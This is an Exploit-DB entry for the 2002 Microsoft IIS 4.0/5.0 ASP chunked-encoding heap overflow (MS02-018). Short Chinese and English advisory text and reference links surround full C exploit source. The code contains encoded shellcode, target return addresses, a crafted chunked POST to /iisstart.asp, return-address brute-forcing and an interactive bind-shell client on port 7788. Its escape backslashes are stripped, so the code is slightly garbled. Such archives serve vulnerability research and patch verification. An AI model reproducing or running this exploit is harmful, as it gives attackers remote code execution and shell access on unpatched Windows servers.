https://www.exploit-db.com/exploits/21370
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200204-041

MicrosoftIIS(InternetInformationServer)是MSWindows系统默认自带的Web服务器软件。IIS4.0/5.0ASP(ActiveServerPages)ISAPI过滤器存在远程缓冲区溢出漏洞，远程攻击者可以利用此漏洞得到主机本地普通用户访问权限。默认安装的IIS4.0/5.0服务器加载了ASPISAPI过滤器，它在处理分块编码传送(chunkedencodingtransfer)机制的代码中存在一个缓冲区溢出漏洞。攻击者通过提交恶意分块编码的数据可以覆盖heap区的内存数据，使之以他指定的数据重写任意地址的4字节内存。例如，攻击者可以让dllhost.exe重写它可以访问的任意4字节的内存，包括程序函数指针、意外处理模块指针或其他任何可以用来控制程序执行流程的地址，从而改变程序执行流程，执行任意攻击者指定的代码。如果攻击者使用随机数据，可能使IIS服务崩溃(IIS5.0会自动重启)。如果精心构造发送的数据，也可能允许攻击者执行任意代码。成功地利用这个漏洞，对于IIS4.0，远程攻击者可以获取SYSTEM权限；对于IIS5.0攻击者可以获取IWAM_computername用户的权限。

source: http://www.securityfocus.com/bid/4485/info
  
A heap overflow condition in the 'chunked encoding transfer mechanism' related to Active Server Pages has been reported for Microsoft IIS (Internet Information Services).
  
This condition affects IIS 4.0 and IIS 5.0. Exploitation of this vulnerability may result in a denial of service or allow for a remote attacker to execute arbitrary instructions on the victim host.
  
Microsoft IIS 5.0 is reported to ship with a default script (iisstart.asp) which may be sufficient for a remote attacker to exploit. Other sample scripts may also be exploitable.
  
A number of Cisco products are affected by this vulnerability, although this issue is not present in the Cisco products themselves.

/* 
 *   DDK - 2k2 -
 * 
 * 
 *   coded by NeMeS||y tnx to Birdack
 *  
 *   
 */

// IIS 4(NT4) - IIS 5(2K) .asp bof

#include <stdio.h> 
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET_BRUTE_START             0x00400000
#define RET_BRUTE_STOP              0x00500000 

#define PORT_BIND                         7788        
#define VERSION                         "0.3b"

unsigned char wincode[] = 
"xebx18x5fx57x5ex33xc9xacx3axc1x74x13x3cx30x74x05" 
"x34xaaxaaxebxf2xacx2cx40xebxf6xe8xe3xffxffxffxff" 
"x21x46x30x6bx46xeaxa3xaaxaaxf9xfcxfdx27x17x6ax30" 
"x9cx55x55x13xfaxa8xaaxaax12x66x66x66x66x59x30x41" 
"x6dx30x6fx30x46x5dx55x55xaaxaaxaaxaax6dx30x6fx9e" 
"x5dx55x55xbaxaaxaaxaax43x48xacxaaxaax30x65x30x6f" 
"x30x42x5dx55x55x27x17x5ex5dx55x55xcex30x4bxaaxaa" 
"xaaxaax23xedxa2xcex23x97xaaxaaxaaxaax6dx30x6fx5e" 
"x5dx55x55x55x55x55x55x21x30x6fx30x42x5dx55x55x29" 
"x42xadx23x30x6fx52x5dx55x55x6dx30x6fx30x4ex5dx55" 
"x55xaaxaax4axddx42xd4xacxaaxaax29x17x30x46x5dx55" 
"x55xaaxa5x30x6fx77xabxaaxaax21x27x30x4ex5dx55x55" 
"x30x6bx6bxaaxaaxabxaax23x27x30x4ex5dx55x55x30x6b" 
"x17x30x4ex5dx55x55xaaxaaxaaxd2xdfxa0x6dx30x6fx30" 
"x4ex5dx55x55xaaxaax5ax15x21x30x7fx30x4ex5dx55x55" 
"x99x6axccx21xa8x97xe7xf0xaaxaaxa5x30x6fx30x70xab" 
"xaaxaax21x27x30x4ex5dx55x55x21xfbx96x21x30x6fx30" 
"x4ex5dx55x55x99x63xccx21xa6xbax30x6bx53xfaxefxaa" 
"xaaxa5x30x6fxd3xabxaaxaax21x30x7fx30x4ex5dx55x55" 
"x21xe8x96x21x27x30x4ex5dx55x55x21xfexabxd2xa9x30" 
"x7fx30x4ex5dx55x55x23x30x7fx30x4ax5dx55x55x21x30" 
"x6fx30x4ax5dx55x55x21xe2xa6xa9x27x30x4ex5dx55x55" 
"x23x27x36x5dx55x55x21x30x7fx36x5dx55x55x30x6bx90" 
"xe1xefxf8xe4xa5x30x6fx99xabxaaxaax21x30x6fx36x5d" 
"x55x55x30x6bxd2xaexefxe6x99x98xa5x30x6fx8axabxaa" 
"xaax21x27x30x4ex5dx55x55x23x27x3ex5dx55x55x21x30" 
"x7fx30x4ax5dx55x55x21x30x6fx30x4ex5dx55x55xa9xe8" 
"x8ax23x30x6fx36x5dx55x55x6dx30x6fx32x5dx55x55xaa" 
"xaaxaaxaax41xb4x21x27x32x5dx55x55x29x6bxabx23x27" 
"x32x5dx55x55x21x30x7fx36x5dx55x55x29x68xaex23x30" 
"x7fx36x5dx55x55x21x30x6fx30x4ax5dx55x55x21x27x32" 
"x5dx55x55x91xe2xb2xa5x27x6axaaxaaxaax21x30x7fx36" 
"x5dx55x55x21xa8x21x27x30x4ex5dx55x55x30x6bx96xab" 
"xedxcfxdexfaxa5x30x6fx30x4axaaxaaxaax21x30x7fx36" 
"x5dx55x55x21xa8x21x27x30x4ex5dx55x55x30x6bxd6xab" 
"xaexd8xc5xc9xebxa5x30x6fx30x6exaaxaaxaax21x30x7f" 
"x32x5dx55x55xa9x30x7fx32x5dx55x55xa9x30x7fx30x4e" 
"x5dx55x55x21x30x6fx30x4ax5dx55x55x21xe2x8ex99x6a" 
"xccx21xaexa0x23x30x6fx36x5dx55x55x21x27x30x4ax5d" 
"x55x55x21xfbxbax21x30x6fx36x5dx55x55x27xe6xbax55" 
"x23x27x36x5dx55x55x21x30x7fx36x5dx55x55xa9x30x7f" 
"x36x5dx55x55xa9x30x7fx36x5dx55x55xa9x30x7fx36x5d" 
"x55x55xa9x30x7fx30x4ex5dx55x55x21x30x6fx30x4ax5d" 
"x55x55x21xe2xb6x21xbexa0x23x30x7fx36x5dx55x55x21" 
"x30x6fx36x5dx55x55xa9x30x6fx30x4ex5dx55x55x23x30" 
"x6fx30x46x5dx55x55x41xafx43xa7x55x55x55x43xbcx54" 
"x55x55x27x17x5ex5dx55x55x21xedxa2xcex30x49xaaxaa" 
"xaaxaax29x17x30x46x5dx55x55xaaxdfxafx43xdfxaexaa" 
"xaax21x27x30x42x5dx55x55xccx21xbbxccx23x30x7fx86" 
"x5dx55x55x21x30x6fx30x42x5dx55x55x29x6axa8x23x30" 
"x6fx30x42x5dx55x55x6dx30x6fx36x5dx55x55xabxaaxaa" 
"xaax41xa5x21x27x36x5dx55x55x29x6bxabx23x27x36x5d" 
"x55x55x29x17x36x5dx55x55xbbxa5x27x30x7fxaaxaaxaa" 
"x29x17x36x5dx55x55xa2xdfxb4x21x5ex21x30x7fx30x42" 
"x5dx55x55xf8x55x30x7fx1ex5dx55x55x91x5ex3axe9xe1" 
"xe9xe1x23x30x6fx3ex5dx55x55x41x80x21x5ex21x30x6f" 
"x30x42x5dx55x55xfax21x27x3ex5dx55x55xfbx55x30x7f" 
"x30x46x5dx55x55x91x5ex3axe9xe1xe9xe1x21x30x7fx36" 
"x5dx55x55x23x30x6ex30x7fx1ax5dx55x55x41xa5x21x30" 
"x6fx30x42x5dx55x55x29x6axabx23x30x6fx30x42x5dx55" 
"x55x21x27x30x42x5dx55x55xa5x14xbbx30x6fx78xdfxba" 
"x21x30x6fx30x42x5dx55x55xa5x14xe2xabx30x6fx63xde" 
"xa8x41xa8x41x78x21x30x7fx30x42x5dx55x55x29x68xab" 
"x23x30x7fx30x42x5dx55x55x43xe5x55x55x55x21x5exc0" 
"xacxc0xabxc0xa8x55x30x7fx7ex5dx55x55x91x5ex3axe9" 
"xe1xe9xe1x23x30x6fxe6x5dx55x55xccx6dx30x6fx92x5d" 
"x55x55xa8xaaxccx21x30x6fx86x5dx55x55xccx23x30x6f" 
"x90x5dx55x55x6dx30x6fx96x5dx55x55xaaxaaxaaxaax6d" 
"x30x6fx36x5dx55x55xabxaaxaaxaax29x17x36x5dx55x55" 
"xaaxdexf5x21x5exc0xbax27x27x92x5dx55x55xfbx21x30" 
"x7fxe6x5dx55x55xf8x55x30x7fx72x5dx55x55x91x5ex3a" 
"xe9xe1xe9xe1x23x30x6fx36x5dx55x55xccx21x30x6fx90" 
"x5dx55x55xccxafxaaxabxccx23x30x6fx90x5dx55x55x21" 
"x27x90x5dx55x55x30x6bx4bx55x55xaaxaax30x6bx53xaa" 
"xabxaaxaaxd7xb8xccx21x30x7fx90x5dx55x55xccx29x68" 
"xabxccx23x30x7fx90x5dx55x55x41x32x21x5exc0xa0x21" 
"x30x6fxe6x5dx55x55xfax55x30x7fx76x5dx55x55x91x5e" 
"x3axe9xe1xe9xe1x13xabxaaxaaxaax30x6fx63xa5x30x6e" 
"x6cxa8xaaxaax21x5ex27x30x7fx9ex5dx55x55xf8x27x30" 
"x6fx92x5dx55x55xfax21x27xe6x5dx55x55xfbx55x30x7f" 
"x4ax5dx55x55x91x5ex3axe9xe1xe9xe1x23x30x6fxe2x5d" 
"x55x55x6dx30x6fxaax5dx55x55xa6xaaxaaxaax6dx30x6f" 
"xaex5dx55x55xaaxaaxaaxaax6dx30x6fxa2x5dx55x55xab" 
"xaaxaaxaax21x5exc0xaax27x30x7fxaax5dx55x55xf8x27" 
"x30x6fxbex5dx55x55xfax27x27xb2x5dx55x55xfbx55x30" 
"x7fx12x5dx55x55x91x5ex3axe9xe1xe9xe1x21x5exc0xaa" 
"x27x30x7fxaax5dx55x55xf8x27x30x6fxa6x5dx55x55xfa" 
"x27x27xbax5dx55x55xfbx55x30x7fx12x5dx55x55x91x5e" 
"x3axe9xe1xe9xe1x27x17xfax5dx55x55x99x6ax13xbbxaa" 
"xaaxaax58x30x41x6dx30x6fxd6x5dx55x55xabxabxaaxaa" 
"xccx6dx30x6fx2ax5dx55x55xaaxaax21x30x7fxbax5dx55" 
"x55x23x30x7fx22x5dx55x55x21x30x6fxbex5dx55x55x23" 
"x30x6fx26x5dx55x55x21x27xbex5dx55x55x23x27x3ax5d" 
"x55x55x21x5ex27x30x7fxb6x5dx55x55xf8x27x30x6fxfa" 
"x5dx55x55xfaxc0xaaxc0xaaxc0xaaxc0xabxc0xaaxc0xaa" 
"x21x27x30x42x5dx55x55xfbxc0xaax55x30x7fx16x5dx55" 
"x55x91x5ex3axe9xe1xe9xe1x23x30x6fx36x5dx55x55x21" 
"x5exc0xaaxc0xaax27x30x7fx9ax5dx55x55xf8xc2xaaxae" 
"xaaxaax27x30x6fxaax52x55x55xfax21x27xb2x5dx55x55" 
"xfbx55x30x7fx6ex5dx55x55x91x5ex3axe9xe1xe9xe1x30" 
"x50xabxaaxaaxaax30x6fx78xa5x30x6exdfxabxaaxaax21" 
"x5exc0xaaxc0xaax27x30x6fx9ax5dx55x55xfaxc2xaaxae" 
"xaaxaax27x27xaax52x55x55xfbx21x30x7fxb2x5dx55x55" 
"xf8x55x30x7fx6ex5dx55x55x91x5ex3axe9xe1xe9xe1x29" 
"x17x9ax5dx55x55xaaxa5x24x30x6exaaxaaxaax21x5exc0" 
"xaax27x30x6fx9ax5dx55x55xfax21x27x9ax5dx55x55xfb" 
"x27x30x7fxaax52x55x55xf8x21x30x6fxb2x5dx55x55xfa" 
"x55x30x7fx62x5dx55x55x91x5ex3axe9xe1xe9xe1x29x17" 
"x9ax5dx55x55xaaxd4x82x21x5exc0xaax21x27x9ax5dx55" 
"x55xfbx27x30x7fxaax52x55x55xf8x21x30x6fxe2x5dx55" 
"x55xfax55x30x7fx4ex5dx55x55x91x5ex3axe9xe1xe9xe1" 
"x41x8bx21x5exc0xaaxc0xa2x21x27x30x42x5dx55x55xfb" 
"x21x30x7fxe2x5dx55x55xf8x55x30x7fx4ex5dx55x55x91" 
"x5ex3axe9xe1xe9xe1x43x18xaaxaaxaax21x5exc0xaaxc2" 
"xaaxaexaaxaax27x30x6fxaax52x55x55xfax21x27xe2x5d" 
"x55x55xfbx55x30x7fx42x5dx55x55x91x5ex3axe9xe1xe9" 
"xe1x23x30x6fx9ax5dx55x55x29x17x9ax5dx55x55xaaxd5" 
"xf8x6dx30x6fx9ax5dx55x55xacxaaxaaxaax21x5exc0xaa" 
"x27x30x7fx9ax5dx55x55xf8x21x30x6fx9ax5dx55x55xfa" 
"x21x27x30x42x5dx55x55x29x6bxa2xfbx21x30x7fxa6x5d" 
"x55x55xf8x55x30x7fx66x5dx55x55x91x5ex3axe9xe1xe9" 
"xe1x21x5ex21x30x6fxe2x5dx55x55xfax55x30x7fx5ax5d" 
"x55x55x91x5ex3axe9xe1xe9xe1x41x98x21x5exc0xaax27" 
"x27x9ax5dx55x55xfbx21x30x7fx9ax5dx55x55xf8x27x30" 
"x6fxaax52x55x55xfax21x27xa6x5dx55x55xfbx55x30x7f" 
"x66x5dx55x55x91x5ex3axe9xe1xe9xe1x43xd4x54x55x55" 
"x43x87x57x55x55x41x54xf2xfax21x17x30x42x5dx55x55" 
"x23xedx58x69x21xeex8exa6xafx12xaaxaaxaax6dxaaxee" 
"x99x88xbbx99x6ax69x41x46x42xb3x53x55x55xb4xc6xe6" 
"xc5xcbxcexe6xc3xc8xd8xcbxd8xd3xebxaaxe9xd8xcfxcb" 
"xdexcfxfaxc3xdaxcfxaaxe9xd8xcfxcbxdexcfxfaxd8xc5" 
"xc9xcfxd9xd9xebxaaxe9xc6xc5xd9xcfxe2xcbxc4xcexc6" 
"xcfxaaxfaxcfxcfxc1xe4xcbxc7xcfxcexfaxc3xdaxcfxaa" 
"xf8xcfxcbxcexecxc3xc6xcfxaaxfdxd8xc3xdexcfxecxc3" 
"xc6xcfxaaxddxd9xc5xc9xc1x99x98x84xcexc6xc6xaaxd9" 
"xc5xc9xc1xcfxdexaaxc8xc3xc4xcexaaxc6xc3xd9xdexcf" 
"xc4xaaxcbxc9xc9xcfxdaxdexaaxd9xcfxc4xcexaaxd8xcf" 
"xc9xdcxaaxc3xc5xc9xdexc6xd9xc5xc9xc1xcfxdexaaxc9" 
"xc6xc5xd9xcfxd9xc5xc9xc1xcfxdexaaxc9xc7xcex84xcf" 
"xd2xcfxaaxcfxd2xc3xdexa7xa0xaa"; 

struct{
      int	       def;
      char	       *descr;
      unsigned int ret;
      unsigned int rewrite;
      int          port;
      char         path[256];
    }target[] = {
          {0, " IIS5 Windows 2000 by hsj", 0x0045C560, 0x77eaf44c, 80, "/iisstart.asp"},
          {1, " IIS5 Windows 2000 Chinese SP0 - SP1", 0x0045C560, 0x77ec044c, 80, "/iisstart.asp"},
          {2, " IIS5 Windows 2000 Chinese SP2", 0x0045C560, 0x77ebf44c, 80, "/iisstart.asp"},
          {3, " IIS5 Windows 2000 English SP2", 0x0045C560, 0x77edf44c, 80, "/iisstart.asp"}, 
          {4, " IIS4 Windows NT4", 0, 0, 80, "/iisstart.asp"},   
          {666, NULL, 0, 0, 0, NULL}
        };


int sel = 0;
int resolve (char *IP);
int make_connection(char *address,int port);
int open_back(char *host,int port);
void l33thax0r(int sock);
void usage(char *name);

int main(int argc, char **argv)
 {
  int i, j, cnt, sock;
  int brute = 0;
  unsigned int step;
  unsigned char		*shell_port_offset;
  char buf[8192], buf2[16384], host[1024];
  unsigned int ret_start, ret_stop, ret_step, ret_1;

  fprintf(stderr, "n IIS4(NT4) - IIS5(2K) .asp buffer overflow remote exploit "
          "- DDK Crew 2k2 - (version "VERSION")n"
          " by NeMeS||y and Birdacknn");
  
  if(argc == 1) usage(argv[0]);
 
  while((cnt = getopt(argc,argv,"h:t:p:f:b:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
     strncpy(host, optarg, sizeof(host));
     host[sizeof(host) - 1] = 'x00';
     break;
   case 't':
     sel = atoi(optarg);
     break;
   case 'p':
     sscanf(optarg, "%p", &target[sel].port);
     break; 
   case 'f':
     strncpy(target[sel].path, optarg, sizeof(&target[sel].path));
     target[sel].path[sizeof(&target[sel].path) -1] = 'x00';
     break;
   case 'b':
     brute = 1;
     step = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }
 
 if(target[sel].def == 4) brute = 1; // ;>

 sock = make_connection(host,target[sel].port);
 if(sock<0)
    {
        printf("Error -> [ %d ] not connected.nn",sock);
        return -3;
    }
 if(brute==0) 
   {
     ret_start = target[sel].ret;
     ret_step  = 1;
     ret_stop  = target[sel].ret;
   } else {
            ret_start = RET_BRUTE_START;
            ret_step  = step;
            ret_stop  = RET_BRUTE_STOP;
          }
 
 printf("n [+] Startnn  hostt->t%sn  portt->t%dn  patht->t%sn  typet->t%snnn",
        host, target[sel].port, target[sel].path, target[sel].descr);
 
 if(brute==1) printf("n [+] Brute forcing enabled... do u have time?nn");

 for(ret_1 = ret_start; ret_1 <= ret_stop; ret_1 += ret_step)
    {   
     for(i=0;i<sizeof(buf)-strlen(wincode)-12-1;)
        {    
          buf[i++] = 0xeb;
          buf[i++] = 0x06;
        }
       *(unsigned int *)&buf[i] = 0x41414141;
       *(unsigned int *)&buf[i+4] = 0x41414141;
       *(unsigned int *)&buf[i+8] = 0x41414141;

       memcpy(&buf[sizeof(buf)-strlen(wincode)-1],wincode,strlen(wincode));
       buf[sizeof(buf)-1] = 0;
       sprintf(buf2,"POST %s?%s HTTP/1.0rn"
                    "Content-Type: application/x-www-form-urlencodedrn"
                    "Transfer-Encoding: chunkedrnrn"
                    "10rnDDKDDKDDKDDKDDrn"
                    "4rnRETTrn"
                    "4rnREWRrn"
                    "0rnrnrn",
                    &target[sel].path,buf);
  
       *(unsigned int *)strstr(buf2,"REWR") = &target[sel].rewrite;
       *(unsigned int *)strstr(buf2,"RETT") = ret_1;
       if(brute==0) printf(" # Sending buffer to socket : ");
       write(sock,buf2,strlen(buf2));

       fprintf(stderr, " [+] ret : 0x%08lx ->",ret_1);

       sleep(3);
       if(brute==0) printf("DONE!nn");
       shutdown(sock,2);
       close(sock);
       printf(" # connecting to our shell - port : [ %d ]n",PORT_BIND);
       sock=open_back(host,PORT_BIND);
       if(sock==-1 && brute==0)
            {
             printf("n [-] FAILED ");
             printf("exiting now!nn");
             exit(-1);
            } 
       if(sock!=-1) 
         {
          printf("nn[+] Address guessed!! nn");
          printf("...OH oH OH... done! our evilcode has worked baby at [ %d ]n", ret_1);
          l33thax0r(sock);
          exit(0); 
         }
    }
      
}


int resolve (char *IP)
{
  struct hostent *info;
  unsigned long ip;

  if ((ip=inet_addr(IP))==-1)
    {
      if ((info=gethostbyname(IP))==0)
        {
          printf("Couldnt resolve [%s]n", IP);
          exit(0);
        }
      memcpy(&ip, (info->h_addr), 4);
    }
  return (ip);
}

int make_connection(char *address,int port)
{
    struct sockaddr_in server,target;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;
    memset((char *)&server,0,sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = 0;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = resolve(address);
    if(target.sin_addr.s_addr==0)
    {
        close(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&bf);
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        close(s);
        return -3;
    }
    if(i==0)
    {
        close(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        errno = bf;
        return -5;
    }
    ioctl(s,FIONBIO,&bf);
    return s;
}



int open_back(char *host,int port) 
{
   int sock, err;
   struct sockaddr_in server_addr;
   struct hostent *he;
   he=gethostbyname(host);
   if (he == NULL) return -1;
   server_addr.sin_family = AF_INET;
   server_addr.sin_port = htons (port);
   server_addr.sin_addr.s_addr = resolve(host);

   sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   if (sock == -1) return -1;
   err = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
   if (err == -1) sock = -1;  
   return sock;
}


void l33thax0r(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("Fuck... the connection was closed!n");
     printf("exiting...nn");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}

void usage(char *name) 
{ 
 int j = 0;
  
  printf("Usage: %s <-h hostname> <-t target> [-p port] [-f path file] [-b step]n", name);
  printf("nOptions:n"
         "  -h hostname  (www.iisvictim.com)n"
         "  -t targetn"
	   "  -p port      (default 80)n"
         "  -f path_file (default /iisstart.asp)n"
         "  -b step      (brute force, try step 2000)nn" 
         "Available targets:nn");
  while(target[j].def != 666)
        {
          printf("  %d ] - %s -n", target[j].def, target[j].descr);
          j++;
        }
  printf("n");  
  exit(1);
}

来源:US-CERTVulnerabilityNote:VU#610291
名称:VU#610291
链接:http://www.kb.cert.org/vuls/id/610291
来源:CERT/CCAdvisory:CA-2002-09
名称:CA-2002-09
链接:http://www.cert.org/advisories/CA-2002-09.html
来源:MS
名称:MS02-018
链接:http://www.microsoft.com/technet/security/bulletin/ms02-018.asp
来源:BID
名称:4485
链接:http://www.securityfocus.com/bid/4485
来源:XF
名称:iis-asp-chunked-encoding-bo(8795)
链接:http://www.iss.net/security_center/static/8795.php
来源:CISCO
名称:20020415MicrosoftIISVulnerabilitiesinCiscoProducts-MS02-018
链接:http://www.cisco.com/warp/public/707/Microsoft-IIS-vulnerabilities-MS02-018.shtml
来源:BUGTRAQ
名称:20020410Windows2000andNT4IIS.ASPRemoteBufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=101846993304518&w;=2
来源:USGovernmentResource:oval:org.mitre.oval:def:25
名称:oval:org.mitre.oval:def:25
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:25
来源:USGovernmentResource:oval:org.mitre.oval:def:16
名称:oval:org.mitre.oval:def:16
链接:http://oval.mitre.org/repository/data/getDe